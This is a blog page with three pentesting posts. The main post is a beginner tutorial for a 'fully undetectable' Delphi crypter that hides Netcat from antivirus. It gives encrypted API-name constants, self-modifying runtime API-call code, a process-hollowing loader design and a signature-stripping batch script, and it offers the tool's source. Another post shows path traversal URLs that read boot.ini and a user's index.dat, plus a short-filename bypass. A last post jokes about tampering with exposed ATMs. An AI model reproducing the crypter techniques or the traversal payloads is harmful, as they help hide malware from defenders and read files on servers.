Directory traversal exploitation: no more problems with double quotes ;)
Short news from the realm of pentesting. Recently I've got a small problem with exploitation of the path traversal vulnerability. Let's imagine that I desperately wanted to access a file like this:
http://vulnerable.com/Export.aspx?exportFormat=csv&fileName= ..\..\..\..\..\..\..\..\..\..\Program Files\Internet Explorer\vs_styles.css
Eeee... Sorry, it was bad example. ;) Of course I was interested in something completely different. Something like this for the beginning:
http://vulnerable.com/Export.aspx?exportFormat=csv&fileName=
..\..\..\..\..\..\..\..\..\..\boot.ini
...and after I already knew it was working, I wanted to get that:
http://vulnerable.com/Export.aspx?exportFormat=csv&fileName=
..\..\..\..\..\..\..\..\..\..\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
And then there was a problem. Because this was not working. :-( And that was not working too:
http://vulnerable.com/Export.aspx?exportFormat=csv&fileName= ..\..\..\..\..\..\..\..\..\..\Documents%20and%20Settings\Administrator\Local%20Settings\Temporary%20Internet%20Files\Content.IE5\index.dat
Obviously this approach had not too much chance to be working (double quotes in the beginning and at the end of the string in path traversal - well... it's quite extravagant):
http://vulnerable.com/Export.aspx?exportFormat=csv&fileName= "..\..\..\..\..\..\..\..\..\..\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat"
So I was stuck for a little. But...
Solution was found
...and pretty quickly. I just had to use a short file names:
http://vulnerable.com/Export.aspx?exportFormat=csv&fileName=
DOCUME~1\Administrator\LOCALS~1\TEMPOR~1\Content.IE5\index.dat
...But this is not a point.
Yes. There is another interesting aspect in this whole story. In a meantime I tested some interesting theory. Let's come back to our original file: C:\Program Files\Internet Explorer\vs_styles.css. If I want to use it in batch file - I definitely should double-quote it, e.g.:
type "C:\Program Files\Internet Explorer\vs_styles.css"
Alternatively short file names can be used (see above). But what if I would try to double-quote not the entire string but a parts of it? I sounds a little bit crazy, and I was really surprised when found THIS working perfectly!:
type C:\"Program Files"\"Internet Explorer"\vs_styles.css
I never met such "quotation style" before and think this is quite cool. Who knows - maybe it would be helpful in your future exploitations. As you see: you may always learn something more about your OS. Big thanks to Matt and Dan for clues. :-)
Writing Crypter. Bypassing Antivirus – “how-to” For Beginners.
Ok my dear IT-boys, accompanied with naughty IT-girls: this is the long-promised article about how to bypass the antivirus protection. I hope you already after the previous article: Self-modifying code - short overview for beginners, so you know this-and-that about pointers, windows API, breaks, debugging, etc.
Now we gonna try to create something interesting by ourselves. We will create a fully working crypter: a program which allows to run any third-party (and potentially malicious) code the way it will not be detected by antivirus program. We are ambitious beasts, so we will "raise a bar" and try to create FUD Crypter (stands for: Fully Undetectable). :-) Still don't get it? See this video to have a taste of what this story will be about:
Before we will go further - one small reminder:
Information in this article is prepared for better understanding of malware mechanisms, developing hacker defense attitude among the users and help preventing the hacking attacks. You may experiment on your own computer ONLY, at your own risk and responsibility.
Ok, it seems you got it now. :-) Even more: you want to understand how you can do the same thing, right? But for the beginning we have to find out what is so important for the antiviruses? How they detect malware? What actually they are looking for?...
So you downloaded some warez.exe and double-clicked it. This is what happening next:
AV's Point of view
Phase one: before the malicious (or suspicious) program is executed
The first thing an antivirus is doing - it's checking if the program is packed. If it is packed - the appropriate unpacker should be used and the code and data should be expanded to memory and then disassembled. In a meantime our AV may also check and resolve an API imports so it would be known then: what API functions are used. I don't want to go deep into details what Portable Executable (or PE) format is, but generally - compiled code is copied to memory almost one-to-one as it is in the binary file. So our antivirus is looking there for a opcodes of certain API calls, speciall data strings (like: "P0wNeD by WiLd HakCer" or famous: "All your base is belong to us") and many other interesting things. Generally antivirus software is looking for a certain suspicious-looking binary code patterns or so-called "signatures". If such thing is found (a pattern or combination of patterns): our antivirus is immediately popping-up a nice red-colored window, (featuring a pride of GUI team: bug.jpg) with information that "malicious code was successfully stopped".
Phase two: while the program is running
It is obvious that some (malicious) code may be hidden, encrypted, obfuscated or even created "on-the-fly". To be able to deal with such tricks our antivirus is also capable to monitor and intercept API calls (uses hooks) and does a kind of "behavioral analysis". So if your notepad.exe for some strange reason is trying to do some "naughty" things (e.g. access memory of another process) - this means well... "something is fishy" and our famous red-colored window appears on a horizon again.
The project
This is actually a proof of concept: how surprisingly easy you may create a code which will be able to bypass antivirus protection. Our "guinea pig" will be the well-known Netcat for windows (...so the cat becomes pig...). ;-) This program is good enough because it is happily detected by many antiviruses as a malware (and this is exactly what we need now).
You already know that I have no passion for reinventing a wheel, so I used one of existing projects as a template (btw, you may find hundreds of them in Internet). The original code is actually an n-th clone of Simple crypter for beginner by Xash, naturally in Delphi. Using this Crypter "as it is" nowadays is pointless because the code is old and whatever it does - is immediately detected by all modern antiviruses. The original idea however is nice and elegant. This is how it works:
You point the Crypter to your malicious software (netcat: netcat.exe) and run. The Crypter produces another executable: let's call it nc_crypted.exe. This is the structure of this file:

So the netcat is placed in the "tale" of our binary, located in between two markers. Markers are needed, because the length of the decryption routine (so called: stub) may vary and the length of the payload (in our case: netcat.exe) can be variable too. The payload may be copied as it is (which is stupid of course, because would contain dozen of signatures detected by antiviruses) or encrypted (e.g.: XOR'ed).
Now real cool stuff begins. Once you click netcat_crypted.exe, it is loaded to the computer's memory and executed. Then it creates all structures needed to run the brand new (malicious) process directly in memory. The new process is created in "suspended" state. Now our stub decrypts the netcat code, takes it as an array of bytes and fills appropriate structures prepared for the new process. By this way, the new malicious code appears in computer's memory in fully legitimate way in a kind of "frozen" condition. This can be done with or without touching the hard drive which may make detection even more difficult. Once everything is ready - it's enough to call the process and our netcat is executed!
Everything is sweet, but there is a big problem: the loader (stub) produced by the original Crypter is already "well-known" to antiviruses. :-( So we must do some modifications in the code to make the binary significantly different from the original. What people are doing often (with minimal success):
- Adding junk code for modifying execution flows.
- Changing or encrypting strings.
- Changing variable names.
- Changing the order of all code aspects.
- Adding or changing icon.
But be are tough guys, right :-) So we will try to do something even more advanced:
- We will encrypt all string variables and also the payload with industry standard data encryption algorithm (so forget about lousy XOR).
- We will obfuscate all "suspicious" API function calls.
- We will make the length of all elements of the "tail" fully variable, hence unpredictable.
- We will clean-up the final binary from all unnecessary strings and hidden resources which potentially may be treated by antiviruses as signatures.
Look at the structure of netcat_crypted.exe now:
Our final netcat_crypted.exe is slightly more complicated now, isn't it. We will be using Serpent symmetric key block cipher algorithm for data encryption. Delimiters will be random, and with various length.
We already know about runtime API address resolution from the previous article, - this knowledge will be needed in our case. API function names are acting as virus signatures (in certain combination), because they are plain strings. So we definitely need to hide them. To obfuscate API function names there was additional program written, called StringsEncoder, which can be downloaded from [here]. This is an example of processing a one string constant only (CreateProcessA):
The program of course allows automatically creating Delphi unit with all strings needed for further API resolution. Something like this:
unit untStealthLibEncryptedConstants; interface const stealth_api_key = 'FFFFFF'; //--- ntdll.dll stealth_api_ntdll_dll = #151#162#78#47#246#220#236#211#180; //--- kernel32.dll stealth_api_kernel32_dll = #146#179#88#45#255#158#187#141#246#218#85#47; //--- ResumeThread stealth_api_ResumeThread = #171#179#89#54#247#151#220#215#170#219#88#39; //--- SetThreadContext stealth_api_SetThreadContext = #160#35#175#108#116#81#2#117#36#1#253#77#22#184#249#213; //--- GetThreadContext stealth_api_GetThreadContext = #74#15#91#48#30#10#90#169#42#88#179#175#66#122#117#27; //--- ZwUnmapViewOfSection stealth_api_ZwUnmapViewOfSection = #44#131#64#41#12#11#153#183#42#190#96#210#201#242#28#239#119#183#72#23; //--- VirtualProtectEx stealth_api_VirtualProtectEx = #48#159#184#128#253#89#90#127#8#170#190#50#247#131#160#5; //--- WriteProcessMemory stealth_api_WriteProcessMemory = #45#223#165#0#74#26#118#180#87#250#141#13#184#78#61#86#3#145; //--- ReadProcessMemory stealth_api_ReadProcessMemory = #238#114#76#133#179#99#51#10#144#167#177#46#40#177#109#225#87; //--- CreateProcessA stealth_api_CreateProcessA = #186#164#79#34#238#151#216#205#183#221#92#48#237#58; //--- CreateProcessInternalA stealth_api_CreateProcessInternalA = #105#137#69#61#231#85#214#72#52#80#38#81#37#7#230#72#40#30#57#152#146#21; implementation end.
So our antivirus has no chance when will be searching for strings like "WriteProcessMemory" or "CreateProcessA". If only a key you would use for your build will be different: no chance for detection.
Ok, we already know that antiviruses are extremely sensitive when certain API functions are called (see the list above). And we must be able to call them to do our dirty stuff. So what can we do? The trick was explained well-enough in the previous lesson: you have to use the undocumented API functions. Those functions are very often just "wrapped" to a well-documented documented functions later.
And of course we will be creating code for all API function calls at runtime (as opcodes) - again see my previous lesson for details. Example from Delphi unit untStealthAPI:
//----------------------------------------stealth WIN API function: ResumeThread (SELF-MODIFYING)
function v_ResumeThread(hThread: cardinal): boolean;
var c: TByteArray;
fResult: dword;
oldProtect: DWORD;
dummyFunc: function: Integer; //--- dummy function
begin
CreateAPIFunctionTemplate(c, 1); //--- nr of parameters = 1
WriteDwordAddress(hThread, c, 2); //--- directly copy the VALUE of the "hThread"
WriteCalculatedFunctionAddress(@c,
c,
6, //--- this points to E8 (where CALL starts!!!)
GetProcAddressX(DecryptStringToString(stealth_api_kernel32_dll, stealth_api_key),
DecryptStringToString(stealth_api_ResumeThread, stealth_api_key)), //--- ResumeThread
5); //--- CALL procedure length (in bytes) = 5
@dummyFunc := @c; //--- point inline dummy function to our byte array
v_VirtualProtectEx(0, @dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);
dummyFunc; //--- execute our function
asm mov fResult, eax; end; //--- return our function's result (normally it is stored in EAX)
result := boolean(fResult);
end;
or another function:
//------------------------------------stealth WIN API function: VirtualProtectEx (SELF-MODIFYING)
function v_VirtualProtectEx(hProcess: THandle;
lpAddress: Pointer;
dwSize,
flNewProtect: DWORD;
lpflOldProtect: Pointer): boolean;
var c: TByteArray;
fResult: dword;
oldProtect: DWORD;
dummyFunc: function: Integer; //--- dummy function
begin
CreateAPIFunctionTemplate(c, 5); //--- nr of parameters = 2
WriteDwordAddress(dword(@lpflOldProtect), c, 2); //--- directly copy the VALUE of the "lpflOldProtect" (4 bytes)
WriteDwordAddress(flNewProtect, c, 7); //--- directly copy the VALUE of the "flNewProtect" (4 bytes)
WriteDwordAddress(dwSize, c, 12); //--- directly copy the VALUE of the "dwSize" (4 bytes)
WriteDwordAddress(dword(@lpAddress), c, 17); //--- directly copy the VALUE of the "lpAddress" (4 bytes)
WriteDwordAddress(hProcess, c, 22); //--- directly copy the VALUE of the "hproces" (4 bytes)
WriteCalculatedFunctionAddress(@c,
c,
26, //--- this points to E8 (where CALL starts)
GetProcAddressX(DecryptStringToString(stealth_api_kernel32_dll, stealth_api_key),
DecryptStringToString(stealth_api_VirtualProtectEx, stealth_api_key)), //--- VirtualProtectEx
5); //--- CALL procedure length (in bytes)
@dummyFunc := @c; //--- point inline function to our byte array
VirtualProtect(@dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);
dummyFunc; //execute our function
asm mov fResult, eax; end; //--- return our function's result (normally it is stored in EAX)
result := boolean(fResult);
end;
Ok, so everything is combined together, and new shiny Crypter is built. Finally we have to use excellent third-party program Resource Hacker to remove various unneeded data (resources) from our executable. We may create a batch file of this kind:
@echo on
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", StringTable,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,DVCLAL,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,PACKAGEINFO,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,PACKAGEINFO,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Cursor,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Bitmap,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Dialog,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", CursorGroup,,
Now the Al3ksCrypter is born! :-) You can take the [binary and the source code here].
The application is very simple but has some additional features:
- Stub may be optionally compressed by UPX.
- Payload may be ran as minimized.
- Additional command line parameters may be provided. Your payload will be automatically executed with them (e.g.: port number and optional parameters for netcat listener).
You already being seeing the film how the tool works, now I just would show the final screen (here is [direct link to report]):
Conclusion
Think twice when you click on any file from untrusted source and for god's sake: DO NOT RELY on your antivirus. :)
P.S.: I would appreciate your feedback, so don't hesitate to contact me with your comments and also if you want to add something to the article. Note that this is easy article, so we are not going deep into details in purpose.
Right ATM for Curious IT Guys
I am always saying: trust is a basis of any business, chaps. And especially in a such serious business as banking. But if banks may (or should?) blindly trust all IT guys (which have their natural childish "curiosity of everything") - this question was never such serious as after this year's Blackhat conference. Close your eyes and try to imagine: vacation, you, ATM, laptop and a screwdriver... And nobody around! Ach dreams, dreams... ;)
But sometimes crazy-weirdo-bank-guys (yes, that's the right word) are really provoking kinda "dirty IT thoughts". A friend of mine, Jerome666, recently send me the picture made during his recent vacation in Egypt. I was almost crying, and through the tears of happiness I was barely able to see the ATM, UPS (?), modem, some strange device (?) and even the juniper firewall. All infrastructure nicely and peacefully coexisting together. It's so nice, so... innocent and... so darn close - just raise your hand! :) Ok, let's cut the crap: see it's by yourself:
I'll buy you a beer (or two) if you would send me cool pics of ATMs, similar to the one above. And additional beer for the one who would correctly identify all infrastructure on the picture! :)










